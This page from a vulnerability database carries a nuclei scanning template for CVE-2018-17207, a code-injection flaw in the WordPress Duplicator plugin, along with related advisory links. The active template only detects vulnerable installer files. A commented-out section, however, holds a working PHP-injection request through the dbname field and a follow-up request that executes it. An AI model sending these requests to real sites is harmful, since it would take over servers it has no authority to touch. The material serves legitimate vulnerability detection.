Lucene search
K

WordPress Duplicator Plugin < 1.2.42 - Arbitrary Code Execution

🗓️ 28 Jun 2026 03:02:45Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 17 Views

WordPress Duplicator plugin before 1.2.42 allows arbitrary code execution via installer files.

Related
Refs
Code
ReporterTitlePublishedViews
Family
0day.today
WordPress Snap Creek Duplicator Code Injection Exploit
12 Dec 201800:00
zdt
ATTACKERKB
Snap Creek Duplicator RCE
19 Sep 201800:00
attackerkb
Circl
CVE-2018-17207
11 Dec 201818:12
circl
CNVD
Snap Creek Duplicator PHP Code Injection Vulnerability
20 Sep 201800:00
cnvd
Check Point Advisories
WordPress Snap Creek Duplicator Code Injection (CVE-2018-17207)
18 Dec 201800:00
checkpoint_advisories
CVE
CVE-2018-17207
19 Sep 201816:00
cve
Cvelist
CVE-2018-17207
19 Sep 201816:00
cvelist
Metasploit
Snap Creek Duplicator WordPress plugin code injection
11 Dec 201817:59
metasploit
NVD
CVE-2018-17207
19 Sep 201816:29
nvd
OpenVAS
WordPress Duplicator Plugin < 1.2.42 RCE Vulnerability
15 Nov 201800:00
openvas
Rows per page
id: CVE-2018-17207

info:
  name: WordPress Duplicator Plugin < 1.2.42 - Arbitrary Code Execution
  author: synacktiv,iamnoooob,pdresearch
  severity: critical
  description: |
    An issue was discovered in Snap Creek Duplicator before 1.2.42. By accessing leftover installer files (installer.php and installer-backup.php), an attacker can inject PHP code into wp-config.php during the database setup step, achieving arbitrary code execution.
  impact: |
    Unauthenticated attackers can inject and execute arbitrary PHP code by exploiting leftover installer files, leading to complete WordPress site compromise and potential server takeover.
  remediation: |
    Remove installer.php and installer-backup.php files after installation, and upgrade to Duplicator version 1.2.42 or later.
  reference:
    - https://www.synacktiv.com/posts/exploit/wordpress-duplicator-plugin-arbitrary-code-execution.html
    - https://nvd.nist.gov/vuln/detail/CVE-2018-17207
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-17207
    cwe-id: CWE-94
    epss-score: 0.57557
    epss-percentile: 0.98957
    cpe: cpe:2.3:a:snapcreek:duplicator:*:*:*:*:lite:wordpress:*:*
  metadata:
    vendor: snapcreek
    product: duplicator
    framework: wordpress
    verified: true
    max-request: 1
    publicwww-query: "/wp-content/plugins/duplicator"
    google-query: inurl:"/wp-content/plugins/duplicator"
  tags: cve,cve2018,wordpress,duplicator,rce,vkev,passive,vuln

# Uncomment to attempt RCE, but note that it modifies database details, potentially causing the website to not function properly.
# variables:
#   marker: "{{randstr}}"

http:
  - raw:
      - |
        POST /installer-backup.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action_step=1

    extractors:
      - type: regex
        name: version
        part: body
        group: 1
        regex:
          - "Plugin Version:.*?([0-9].*?)<"
        internal: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<title>Duplicator</title>'
          - 'dupx-header-version'
          - 'Deployment Path:'
        condition: and

      - type: status
        status:
          - 200

      - type: dsl
        dsl:
          - compare_versions(version, '< 1.2.42')

  # - raw:
  #     - |-
  #       POST /installer-backup.php HTTP/1.1
  #       Host: {{Hostname}}
  #       Content-Type: application/x-www-form-urlencoded
  #       Connection: close

  #       action_ajax=3&action_step=3&dbhost=nowhere&dbuser=test&dbpass=test&dbname=wordpress');echo base64_decode($_GET["input"]);//&dbport=12345&

  #   matchers-condition: and
  #   matchers:
  #     - type: word
  #       part: body
  #       words:
  #         - updt_rows
  #         - scan_rows
  #         - scan_tables
  #       condition: and
  #     - type: status
  #       status:
  #         - 200
  #       internal: true


  # - raw:
  #     - |+
  #       GET /wp-config.php?input={{base64(marker)}} HTTP/1.1
  #       Host: {{Hostname}}
  #       Connection: close
  # matchers-condition: and
  # matchers:
  #   - type: word
  #     part: body
  #     words:
  #       - '{{marker}}'
  #   - type: status
  #     status:
  #       - 200
# digest: 490a0046304402202d5c52df8035d79b4d2471c7558932578c3652c80adf1674742119bbcd688449022038ec1f6ccbff0872c634315094453bb926bfa2687967c9b990819abc26128844:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Feb 2026 07:00Current
7.6High risk
Vulners AI Score7.6
CVSS 27.5
CVSS 3.19.8
EPSS0.57557
17